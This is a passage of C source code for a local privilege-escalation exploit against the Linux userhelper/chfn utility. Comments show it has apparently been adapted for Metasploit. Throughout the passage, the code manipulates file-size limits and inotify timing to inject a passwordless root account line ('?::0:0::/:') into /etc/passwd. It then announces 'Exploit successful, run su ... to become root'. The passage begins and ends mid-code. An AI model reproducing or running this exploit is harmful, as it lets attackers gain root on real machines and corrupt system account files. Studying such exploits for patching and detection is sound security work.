gecos_field site_info; /* other stuff */
|
||||
};
|
||||
|
||||
static struct userhelper {
|
||||
struct gecos_data gecos;
|
||||
rlim_t fsizelim;
|
||||
pid_t pid;
|
||||
int fd;
|
||||
} userhelpers[GECOS_LENGTH];
|
||||
|
||||
static void
|
||||
die_in_parent(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
|
||||
fflush(stderr);
|
||||
|
||||
unsigned int i;
|
||||
for (i = 0; i < GECOS_LENGTH; i++) {
|
||||
const pid_t pid = userhelpers[i].pid;
|
||||
if (pid <= 0) continue;
|
||||
kill(pid, SIGKILL);
|
||||
}
|
||||
_exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void
|
||||
die_in_child(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
|
||||
#define die() die_fn(__FILE__, __LINE__, __func__)
|
||||
|
||||
static void *
|
||||
xmalloc(const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const ptr = malloc(size);
|
||||
if (ptr == NULL) die();
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void *
|
||||
xrealloc(void *const old, const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const new = realloc(old, size);
|
||||
if (new == NULL) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static char *
|
||||
xstrndup(const char *const old, const size_t len)
|
||||
{
|
||||
if (old == NULL) die();
|
||||
if (len >= INT_MAX) die();
|
||||
|
||||
char *const new = strndup(old, len);
|
||||
|
||||
if (new == NULL) die();
|
||||
if (len != strlen(new)) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static int
|
||||
xsnprintf(char *const str, const size_t size, const char *const format, ...)
|
||||
{
|
||||
if (str == NULL) die();
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
if (format == NULL) die();
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
const int len = vsnprintf(str, size, format, ap);
|
||||
va_end(ap);
|
||||
|
||||
if (len < 0) die();
|
||||
if ((unsigned int)len >= size) die();
|
||||
if ((unsigned int)len != strlen(str)) die();
|
||||
return len;
|
||||
}
|
||||
|
||||
static int
|
||||
xopen(const char *const pathname, const int flags)
|
||||
{
|
||||
if (pathname == NULL) die();
|
||||
if (*pathname != '/') die();
|
||||
if (flags != O_RDONLY) die();
|
||||
|
||||
const int fd = open(pathname, flags);
|
||||
if (fd <= -1) die();
|
||||
|
||||
static const struct flock rdlock = {
|
||||
.l_type = F_RDLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
|
||||
return fd;
|
||||
}
|
||||
|
||||
static void
|
||||
xclose(const int fd)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
static const struct flock unlock = {
|
||||
.l_type = F_UNLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &unlock) != 0) die();
|
||||
if (close(fd) != 0) die();
|
||||
}
|
||||
|
||||
#define GECOS_BADCHARS ":,=\n"
|
||||
|
||||
/* A simple function to compute the size of a gecos string containing the
|
||||
* data we have. */
|
||||
static size_t
|
||||
gecos_size(const struct gecos_data *const parsed)
|
||||
{
|
||||
if (parsed == NULL) die();
|
||||
|
||||
size_t len = 4; /* commas! */
|
||||
len += strlen(parsed->full_name);
|
||||
len += strlen(parsed->office);
|
||||
len += strlen(parsed->office_phone);
|
||||
len += strlen(parsed->home_phone);
|
||||
len += strlen(parsed->site_info);
|
||||
len++;
|
||||
return len;
|
||||
}
|
||||
|
||||
/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
|
||||
Note that the parsing is performed using the convention obeyed by BSDish
|
||||
finger(1) under Linux. */
|
||||
static void
|
||||
gecos_parse(const char *const gecos, struct gecos_data *const parsed)
|
||||
{
|
||||
if (gecos == NULL) die();
|
||||
if (strlen(gecos) >= INT_MAX) die();
|
||||
|
||||
if (parsed == NULL) die();
|
||||
memset(parsed, 0, sizeof(*parsed));
|
||||
|
||||
unsigned int i;
|
||||
const char *field = gecos;
|
||||
|
||||
for (i = 0; ; i++) {
|
||||
const char *field_end = strchrnul(field, ',');
|
||||
gecos_field *dest = NULL;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
dest = &parsed->full_name;
|
||||
break;
|
||||
case 1:
|
||||
dest = &parsed->office;
|
||||
break;
|
||||
case 2:
|
||||
dest = &parsed->office_phone;
|
||||
break;
|
||||
case 3:
|
||||
dest = &parsed->home_phone;
|
||||
break;
|
||||
case 4:
|
||||
// msf note: changed `rawmemchar` to `memchr` for cross-compile
|
||||
//field_end = rawmemchr(field_end, '\0');
|
||||
field_end = memchr(field_end, '\0', 16);
|
||||
dest = &parsed->site_info;
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
const size_t field_len = field_end - field;
|
||||
xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
|
||||
if (strlen(*dest) != field_len) die();
|
||||
|
||||
if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
|
||||
|
||||
if (*field_end == '\0') break;
|
||||
field = field_end + 1;
|
||||
}
|
||||
if (gecos_size(parsed) > GECOS_LENGTH) die();
|
||||
}
|
||||
|
||||
/* Assemble a new gecos string. */
|
||||
static const char *
|
||||
gecos_assemble(const struct gecos_data *const parsed)
|
||||
{
|
||||
static char ret[GECOS_LENGTH];
|
||||
size_t i;
|
||||
|
||||
if (parsed == NULL) die();
|
||||
/* Construct the basic version of the string. */
|
||||
xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
|
||||
parsed->full_name,
|
||||
parsed->office,
|
||||
parsed->office_phone,
|
||||
parsed->home_phone,
|
||||
parsed->site_info);
|
||||
/* Strip off terminal commas. */
|
||||
i = strlen(ret);
|
||||
while ((i > 0) && (ret[i - 1] == ',')) {
|
||||
ret[i - 1] = '\0';
|
||||
i--;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Descriptors used to communicate between userhelper and consolhelper. */
|
||||
#define UH_INFILENO 3
|
||||
#define UH_OUTFILENO 4
|
||||
|
||||
/* Userhelper request format:
|
||||
request code as a single character,
|
||||
request data size as UH_REQUEST_SIZE_DIGITS decimal digits
|
||||
request data
|
||||
'\n' */
|
||||
#define UH_REQUEST_SIZE_DIGITS 8
|
||||
|
||||
/* Synchronization point code. */
|
||||
#define UH_SYNC_POINT 32
|
||||
|
||||
/* Valid userhelper request codes. */
|
||||
#define UH_ECHO_ON_PROMPT 34
|
||||
#define UH_ECHO_OFF_PROMPT 35
|
||||
#define UH_EXPECT_RESP 39
|
||||
#define UH_SERVICE_NAME 40
|
||||
#define UH_USER 42
|
||||
|
||||
/* Consolehelper response format:
|
||||
response code as a single character,
|
||||
response data
|
||||
'\n' */
|
||||
|
||||
/* Consolehelper response codes. */
|
||||
#define UH_TEXT 33
|
||||
|
||||
/* Valid userhelper error codes. */
|
||||
#define ERR_UNK_ERROR 255 /* unknown error */
|
||||
|
||||
/* Paths, flag names, and other stuff. */
|
||||
#define UH_PATH "/usr/sbin/userhelper"
|
||||
#define UH_FULLNAME_OPT "-f"
|
||||
#define UH_OFFICE_OPT "-o"
|
||||
#define UH_OFFICEPHONE_OPT "-p"
|
||||
#define UH_HOMEPHONE_OPT "-h"
|
||||
|
||||
static char
|
||||
read_request(const int fd, char *const data, const size_t size)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (data == NULL) die();
|
||||
if (size >= INT_MAX) die();
|
||||
|
||||
char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
|
||||
if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
|
||||
header[sizeof(header)-1] = '\0';
|
||||
|
||||
errno = 0;
|
||||
char *endptr = NULL;
|
||||
const unsigned long len = strtoul(&header[1], &endptr, 10);
|
||||
if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
|
||||
|
||||
if (len >= size) die();
|
||||
if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
|
||||
if (data[len] != '\n') die();
|
||||
data[len] = '\0';
|
||||
|
||||
if (strlen(data) != len) die();
|
||||
if (strchr(data, '\n') != NULL) die();
|
||||
return header[0];
|
||||
}
|
||||
|
||||
static void
|
||||
send_reply(const int fd, const unsigned char type, const char *const data)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (!isascii(type)) die();
|
||||
if (!isprint(type)) die();
|
||||
if (data == NULL) die();
|
||||
if (strpbrk(data, "\r\n") != NULL) die();
|
||||
|
||||
char buf[BUFSIZ];
|
||||
const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
|
||||
if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
|
||||
}
|
||||
|
||||
#define ETCDIR "/etc"
|
||||
#define PASSWD "/etc/passwd"
|
||||
#define BACKUP "/etc/passwd-"
|
||||
|
||||
static struct {
|
||||
char username[64];
|
||||
char password[64];
|
||||
struct gecos_data gecos;
|
||||
} my;
|
||||
|
||||
static volatile sig_atomic_t is_child_dead;
|
||||
|
||||
static void
|
||||
sigchild_handler(const int signum __attribute__ ((__unused__)))
|
||||
{
|
||||
is_child_dead = true;
|
||||
}
|
||||
|
||||
static int
|
||||
wait_for_userhelper(struct userhelper *const uh, const int options)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid <= 0) die();
|
||||
if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
|
||||
|
||||
int status;
|
||||
for (;;) {
|
||||
const pid_t pid = waitpid(uh->pid, &status, options);
|
||||
if (pid == uh->pid) break;
|
||||
if (pid > 0) _exit(255);
|
||||
|
||||
if (pid != -1) die();
|
||||
if (errno != EINTR) die();
|
||||
}
|
||||
if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
|
||||
return status;
|
||||
}
|
||||
|
||||
static void
|
||||
forkstop_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid != 0) die();
|
||||
if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
|
||||
|
||||
struct rlimit fsize;
|
||||
if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
if (uh->fsizelim > fsize.rlim_max) die();
|
||||
if (uh->fsizelim <= 0) die();
|
||||
fsize.rlim_cur = uh->fsizelim;
|
||||
|
||||
cpu_set_t old_cpus;
|
||||
CPU_ZERO(&old_cpus);
|
||||
if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
|
||||
{ const int cpu = sched_getcpu();
|
||||
if (cpu >= CPU_SETSIZE) die();
|
||||
if (cpu < 0) die();
|
||||
cpu_set_t new_cpus;
|
||||
CPU_ZERO(&new_cpus);
|
||||
CPU_SET(cpu, &new_cpus);
|
||||
if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
|
||||
|
||||
int sv[2];
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
|
||||
|
||||
if (is_child_dead) die();
|
||||
static const struct sigaction sigchild_action = {
|
||||
.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
|
||||
if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
|
||||
|
||||
uh->pid = fork();
|
||||
if (uh->pid <= -1) die();
|
||||
|
||||
if (uh->pid == 0) {
|
||||
die_fn = die_in_child;
|
||||
if (close(sv[1]) != 0) die();
|
||||
if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
|
||||
if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
|
||||
|
||||
const int devnull_fd = open("/dev/null", O_RDWR);
|
||||
if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
|
||||
if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
|
||||
if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
|
||||
|
||||
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
||||
if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
|
||||
if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
|
||||
if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
|
||||
static const struct sched_param sched_param = { .sched_priority = 0 };
|
||||
(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
|
||||
|
||||
char *const argv[] = { UH_PATH,
|
||||
UH_FULLNAME_OPT, uh->gecos.full_name,
|
||||
UH_OFFICE_OPT, uh->gecos.office,
|
||||
UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
|
||||
UH_HOMEPHONE_OPT, uh->gecos.home_phone,
|
||||
NULL };
|
||||
char *const envp[] = { NULL };
|
||||
execve(UH_PATH, argv, envp);
|
||||
die();
|
||||
}
|
||||
if (die_fn != die_in_parent) die();
|
||||
if (close(sv[0]) != 0) die();
|
||||
uh->fd = sv[1];
|
||||
|
||||
unsigned long expected_responses = 0;
|
||||
for (;;) {
|
||||
char data[BUFSIZ];
|
||||
const char type = read_request(uh->fd, data, sizeof(data));
|
||||
if (type == UH_SYNC_POINT) break;
|
||||
|
||||
switch (type) {
|
||||
case UH_USER:
|
||||
if (strcmp(data, my.username) != 0) die();
|
||||
break;
|
||||
case UH_SERVICE_NAME:
|
||||
if (strcmp(data, "chfn") != 0) die();
|
||||
break;
|
||||
case UH_ECHO_ON_PROMPT:
|
||||
case UH_ECHO_OFF_PROMPT:
|
||||
if (++expected_responses == 0) die();
|
||||
break;
|
||||
case UH_EXPECT_RESP:
|
||||
if (strtoul(data, NULL, 10) != expected_responses) die();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (expected_responses != 1) die();
|
||||
|
||||
const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
|
||||
const int inotify_fd = inotify_init();
|
||||
if (inotify_fd <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
|
||||
IN_OPEN) <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
|
||||
if (errno != ENOENT) die();
|
||||
if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
|
||||
}
|
||||
|
||||
send_reply(uh->fd, UH_TEXT, my.password);
|
||||
send_reply(uh->fd, UH_SYNC_POINT, "");
|
||||
if (close(uh->fd) != 0) die();
|
||||
uh->fd = -1;
|
||||
|
||||
unsigned int state = 0;
|
||||
static const uint32_t transition[] = { IN_CLOSE_WRITE,
|
||||
IN_CLOSE_NOWRITE, IN_OPEN, 0 };
|
||||
for (;;) {
|
||||
if (is_child_dead) die();
|
||||
char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
|
||||
const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
|
||||
if (is_child_dead) die();
|
||||
|
||||
if (_buflen <= 0) die();
|
||||
size_t buflen = _buflen;
|
||||
if (buflen > sizeof(buffer)) die();
|
||||
|
||||
struct inotify_event *ep;
|
||||
for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
|
||||
ep = (struct inotify_event *)(ep->name + ep->len)) {
|
||||
buflen -= sizeof(*ep);
|
||||
|
||||
if (ep->len > 0) {
|
||||
if (buflen < ep->len) die();
|
||||
buflen -= ep->len;
|
||||
if ((ep->mask & IN_CREATE) == 0) die();
|
||||
(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
|
||||
continue;
|
||||
}
|
||||
if (ep->len != 0) die();
|
||||
while ((ep->mask & transition[state]) != 0) {
|
||||
ep->mask &= ~transition[state++];
|
||||
if (transition[state] == 0) goto stop_userhelper;
|
||||
}
|
||||
}
|
||||
if (buflen != 0) die();
|
||||
}
|
||||
stop_userhelper:
|
||||
if (kill(uh->pid, SIGSTOP) != 0) die();
|
||||
if (close(inotify_fd) != 0) die();
|
||||
|
||||
const int status = wait_for_userhelper(uh, WUNTRACED);
|
||||
if (!WIFSTOPPED(status)) die();
|
||||
if (WSTOPSIG(status) != SIGSTOP) die();
|
||||
|
||||
xclose(lpasswd_fd);
|
||||
if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
|
||||
if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
continue_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->fd != -1) die();
|
||||
if (uh->pid <= 0) die();
|
||||
|
||||
if (kill(uh->pid, SIGCONT) != 0) die();
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, WCONTINUED);
|
||||
if (!WIFCONTINUED(status)) die(); }
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, 0);
|
||||
if (!WIFEXITED(status)) die();
|
||||
if (WEXITSTATUS(status) !=
|
||||
((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
|
||||
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
}
|
||||
|
||||
static void
|
||||
create_backup_of_passwd_file(void)
|
||||
{
|
||||
char backup[] = "/tmp/passwd-XXXXXX";
|
||||
const mode_t prev_umask = umask(077);
|
||||
const int ofd = mkstemp(backup);
|
||||
(void) umask(prev_umask);
|
||||
if (ofd <= -1) die();
|
||||
|
||||
printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
|
||||
const int ifd = xopen(PASSWD, O_RDONLY);
|
||||
for (;;) {
|
||||
char buf[BUFSIZ];
|
||||
const ssize_t len = read(ifd, buf, sizeof(buf));
|
||||
if (len == 0) break;
|
||||
if (len <= 0) die();
|
||||
if (write(ofd, buf, len) != len) die();
|
||||
}
|
||||
xclose(ifd);
|
||||
if (close(ofd) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
delete_lines_from_passwd_file(void)
|
||||
{
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
|
||||
if (fullname_max >= GECOS_LENGTH) die();
|
||||
if (fullname_max <= 0) die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
|
||||
char *contents = NULL;
|
||||
for (;;) {
|
||||
struct stat st;
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= INT_MAX) die();
|
||||
if (st.st_size <= 0) die();
|
||||
|
||||
contents = xrealloc(contents, st.st_size + 1);
|
||||
if (read(fd, contents, st.st_size) != st.st_size) die();
|
||||
contents[st.st_size] = '\0';
|
||||
xclose(fd);
|
||||
|
||||
const char *cp = strstr(contents, fragment);
|
||||
if (cp == NULL) die();
|
||||
cp = strchr(cp + 2, '\n');
|
||||
if (cp == NULL) die();
|
||||
if (cp[1] == '\0') break;
|
||||
|
||||
char *const tp = contents + st.st_size-1;
|
||||
*tp = '\0';
|
||||
if (tp <= cp) die();
|
||||
if (tp - cp > fullname_max) cp = tp - fullname_max;
|
||||
cp = strpbrk(cp, "\n:, ");
|
||||
if (cp == NULL) die();
|
||||
|
||||
const ssize_t fullname_len = tp - cp;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len <= 0) die();
|
||||
|
||||
printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
|
||||
|
||||
struct userhelper *const uh = &userhelpers[0];
|
||||
memset(uh->gecos.full_name, 'A', fullname_len);
|
||||
uh->fsizelim = st.st_size;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
}
|
||||
free(contents);
|
||||
}
|
||||
|
||||
static size_t passwd_fsize;
|
||||
static int generate_userhelpers(const char *);
|
||||
#define IS_USER_LAST "last user in passwd file?"
|
||||
|
||||
static char candidate_users[256];
|
||||
static char superuser_elect;
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
// msf note: don't backup /etc/passwd to /tmp
|
||||
//create_backup_of_passwd_file();
|
||||
|
||||
{ char candidate[] = "a";
|
||||
for (; candidate[0] <= 'z'; candidate[0]++) {
|
||||
if (getpwnam(candidate) != NULL) continue;
|
||||
strcat(candidate_users, candidate);
|
||||
} }
|
||||
if (candidate_users[0] == '\0') die();
|
||||
|
||||
const struct passwd *const pwd = getpwuid(getuid());
|
||||
if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
|
||||
xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
|
||||
gecos_parse(pwd->pw_gecos, &my.gecos);
|
||||
|
||||
if (fputs("Please enter your password:\n", stdout) == EOF) die();
|
||||
if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
|
||||
char *const newline = strchr(my.password, '\n');
|
||||
if (newline == NULL) die();
|
||||
*newline = '\0';
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
retry:
|
||||
if (generate_userhelpers(IS_USER_LAST)) {
|
||||
struct userhelper *const uh1 = &userhelpers[1];
|
||||
strcpy(uh1->gecos.full_name, "\n");
|
||||
uh1->fsizelim = passwd_fsize + 1;
|
||||
|
||||
struct userhelper *const uh0 = &userhelpers[0];
|
||||
uh0->fsizelim = passwd_fsize;
|
||||
|
||||
forkstop_userhelper(uh1), forkstop_userhelper(uh0);
|
||||
continue_userhelper(uh1), continue_userhelper(uh0);
|
||||
if (generate_userhelpers(IS_USER_LAST)) die();
|
||||
}
|
||||
|
||||
static const char a[] = "?::0:0::/:";
|
||||
printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
|
||||
|
||||
const int n = generate_userhelpers(a);
|
||||
if (n == -1) {
|
||||
static int retries;
|
||||
if (retries++) die();
|
||||
memset(userhelpers, 0, sizeof(userhelpers));
|
||||
delete_lines_from_passwd_file();
|
||||
goto retry;
|
||||
}
|
||||
if (n <= 0) die();
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (superuser_elect == '\0') die();
|
||||
|
||||
int i;
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Starting and stopping userhelper #%d\n", i);
|
||||
forkstop_userhelper(&userhelpers[i]);
|
||||
}
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Continuing stopped userhelper #%d\n", i);
|
||||
continue_userhelper(&userhelpers[i]);
|
||||
}
|
||||
printf("Exploit successful, run \"su %c\" to become root\n",
|
||||
(int)superuser_elect);
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
uh->gecos = my.gecos;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
static void
|
||||
generate_fullname(char *const fullname, const ssize_t fullname_len,
|
||||
const char c)
|
||||
{
|
||||
if (fullname == NULL) die();
|
||||
if (fullname_len < 0) die();
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
|
||||
memset(fullname, 'A', fullname_len);
|
||||
|
||||
if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
|
||||
if (!isascii((unsigned char)c)) die();
|
||||
if (!isgraph((unsigned char)c)) die();
|
||||
fullname[fullname_len-1] = c;
|
||||
}
|
||||
}
|
||||
|
||||
static size_t siteinfo_len;
|
||||
static size_t fullname_off;
|
||||
|
||||
static size_t before_fullname_len;
|
||||
static char * before_fullname;
|
||||
|
||||
static size_t after_fullname_len;
|
||||
static char * after_fullname;
|
||||
|
||||
static int
|
||||
generate_userhelper(const char *const a, const int i, char *const contents)
|
||||
{
|
||||
if (i < 0) {
|
||||
if (i != -1) die();
|
||||
return 0;
|
||||
}
|
||||
if (a == NULL) die();
|
||||
if ((unsigned int)i >= strlen(a)) die();
|
||||
if (contents == NULL) die();
|
||||
|
||||
const char _c = a[i];
|
||||
const bool is_user_wildcard = (_c == '?');
|
||||
const char c = (is_user_wildcard ? candidate_users[0] : _c);
|
||||
if (c == '\0') die();
|
||||
|
||||
const size_t target = passwd_fsize-1 + i;
|
||||
const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
|
||||
if (fsizelim < passwd_fsize) die();
|
||||
|
||||
const size_t contents_len = strlen(contents);
|
||||
if (contents_len < passwd_fsize) die();
|
||||
if (contents_len <= fullname_off) die();
|
||||
|
||||
char *const fullname = contents + fullname_off;
|
||||
if (memcmp(fullname - before_fullname_len,
|
||||
before_fullname, before_fullname_len) != 0) die();
|
||||
|
||||
const char *rest = strchr(fullname, '\n');
|
||||
if (rest == NULL) die();
|
||||
rest++;
|
||||
|
||||
const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len < 0) die();
|
||||
|
||||
if (rest[-1] != '\n') die();
|
||||
generate_fullname(fullname, fullname_len, c);
|
||||
memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
|
||||
if (rest[-1] != '\n') die();
|
||||
|
||||
if (memcmp(rest - after_fullname_len,
|
||||
after_fullname, after_fullname_len) != 0) die();
|
||||
|
||||
size_t offset;
|
||||
for (offset = fullname_off; offset < contents_len; offset++) {
|
||||
|
||||
const char x = contents[offset];
|
||||
if (x == '\0') die();
|
||||
if (is_user_wildcard) {
|
||||
if (strchr(candidate_users, x) == NULL) continue;
|
||||
superuser_elect = x;
|
||||
} else {
|
||||
if (x != c) continue;
|
||||
}
|
||||
|
||||
const ssize_t new_fullname_len = fullname_len + (target - offset);
|
||||
if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
|
||||
if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
|
||||
|
||||
if (offset < fullname_off + fullname_len) {
|
||||
if (offset != fullname_off + fullname_len-1) die();
|
||||
if (new_fullname_len == 0) continue;
|
||||
}
|
||||
if (offset >= contents_len-1) {
|
||||
if (offset != contents_len-1) die();
|
||||
if (fsizelim != RLIM_INFINITY) continue;
|
||||
}
|
||||
|
||||
{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
|
||||
|
||||
memcpy(new_contents, contents, fullname_off);
|
||||
generate_fullname(new_contents + fullname_off, new_fullname_len, c);
|
||||
memcpy(new_contents + fullname_off + new_fullname_len,
|
||||
contents + fullname_off + fullname_len,
|
||||
contents_len+1 - (fullname_off + fullname_len));
|
||||
|
||||
if (strlen(new_contents) != contents_len +
|
||||
(new_fullname_len - fullname_len)) die();
|
||||
|
||||
if (fsizelim != RLIM_INFINITY) {
|
||||
if (fsizelim >= strlen(new_contents)) die();
|
||||
if (fsizelim >= contents_len) die();
|
||||
memcpy(new_contents + fsizelim,
|
||||
contents + fsizelim,
|
||||
contents_len+1 - fsizelim);
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, i-1, new_contents);
|
||||
free(new_contents);
|
||||
if (err < 0) continue; }
|
||||
|
||||
if (i >= GECOS_LENGTH) die();
|
||||
struct userhelper *const uh = &userhelpers[i];
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
|
||||
uh->fsizelim = fsizelim;
|
||||
if (new_fullname_len >= GECOS_LENGTH) die();
|
||||
generate_fullname(uh->gecos.full_name, new_fullname_len, c);
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int
|
||||
generate_userhelpers(const char *const _a)
|
||||
{
|
||||
char a[GECOS_LENGTH];
|
||||
if (_a == NULL) die();
|
||||
const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (n <= 0) die();
|
||||
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= 10*1024*1024) die();
|
||||
if (st.st_size <= 0) die();
|
||||
passwd_fsize = st.st_size;
|
||||
|
||||
char *const contents = xmalloc(passwd_fsize + 1);
|
||||
if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
|
||||
xclose(fd);
|
||||
contents[passwd_fsize] = '\0';
|
||||
if (strlen(contents) != passwd_fsize) die();
|
||||
if (contents[passwd_fsize-1] != '\n') die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
const char *line = strstr(contents, fragment);
|
||||
if (line == NULL) die();
|
||||
line++;
|
||||
|
||||
const char *rest = strchr(line, '\n');
|
||||
if (rest == NULL) die();
|
||||
if (rest <= line) die();
|
||||
rest++;
|
||||
|
||||
if (strcmp(_a, IS_USER_LAST) == 0) {
|
||||
const bool is_user_last = (*rest == '\0');
|
||||
free(contents);
|
||||
return is_user_last;
|
||||
}
|
||||
|
